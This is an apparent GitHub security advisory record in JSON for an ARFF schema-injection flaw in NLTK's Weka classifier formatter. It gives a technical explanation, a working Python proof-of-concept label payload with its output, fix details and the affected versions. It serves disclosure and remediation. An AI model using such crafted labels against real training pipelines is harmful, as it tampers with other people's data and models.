{"id":"GHSA-9ffx-rrgx-mhgx","summary":"NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels","details":"## Description\n\n### Summary\n\n`nltk.classify.weka.ARFF_Formatter` writes class labels directly into the Weka ARFF `@ATTRIBUTE '-label-' {...}` declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as `}`, newlines, `@ATTRIBUTE`, and `@DATA` to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.\n\nThis vulnerability is reachable in any application that calls `WekaClassifier.train()` or `ARFF_Formatter.from_train()` with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.\n\n### Technical Details\n\nThe vulnerable code path is:\n\n1. `WekaClassifier.train()` calls `ARFF_Formatter.from_train(featuresets)`.\n2. `from_train()` extracts labels from the training data and passes them to `ARFF_Formatter(labels, features)`.\n3. `header_section()` uses `\",\".join(self._labels)` directly, embedding attacker‑controlled strings into the ARFF header without sanitization.\n\nBecause the label names are not escaped, a label containing `safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%` will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.\n\n### Proof of Concept\n\nThe following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does **not** need Weka to be installed, because the attack is carried out purely by generating the ARFF string.\n\n```python\nfrom nltk.classify.weka import ARFF_Formatter\n\n# Attacker‑controlled label containing ARFF metacharacters.\n# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,\n# `@DATA` starts the data section early, and `%` comments out the rest.\nmalicious_label = \"safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%\"\n\nfeaturesets = [\n    ({\"f\": \"benign\"}, \"legit\"),          # legitimate example\n    ({\"f\": \"payload\"}, malicious_label), # attacker's example\n]\n\n# NLTK builds the formatter from the training data\nformatter = ARFF_Formatter.from_train(featuresets)\n\n# Generate the ARFF string – this is what would be written to the training file\narff = formatter.format(featuresets)\n\n# Verify that the injection succeeded\nassert \"@ATTRIBUTE injected NUMERIC\" in arff, \"Injected attribute not found\"\nassert \"@DATA\\n0,owned\" in arff, \"Injected data row not found\"\n\nprint(\"=== Injected ARFF (excerpt) ===\")\nfor line in arff.splitlines()[5:12]:\n    print(line)\n```\n\nExpected output:\n\n```\n=== Injected ARFF (excerpt) ===\n@ATTRIBUTE 'f' STRING\n@ATTRIBUTE '-label-' {legit,safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%\n```\n\nExplanation of the injection:\n\n· The label safe} closes the nominal label set {legit,safe} prematurely.\n· The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name.\n· The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.\n\nReferences\n\n· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component\n· Huntr report  https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072\n· Weka ARFF format documentation\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3768 \"Fix ARFF label injection in Weka classifier\" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).\n\nProbe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).\n\nRelease: none yet; no release tag contains 56031eabc.","aliases":["CVE-2026-129221"],"modified":"2026-11-20T00:00:05.081090140Z","published":"2026-11-19T23:54:17Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-19T23:54:17Z","nvd_published_at":"2026-11-19T18:18:06Z","cwe_ids":["CWE-74"]},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129221"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3768"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9ffx-rrgx-mhgx/GHSA-9ffx-rrgx-mhgx.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}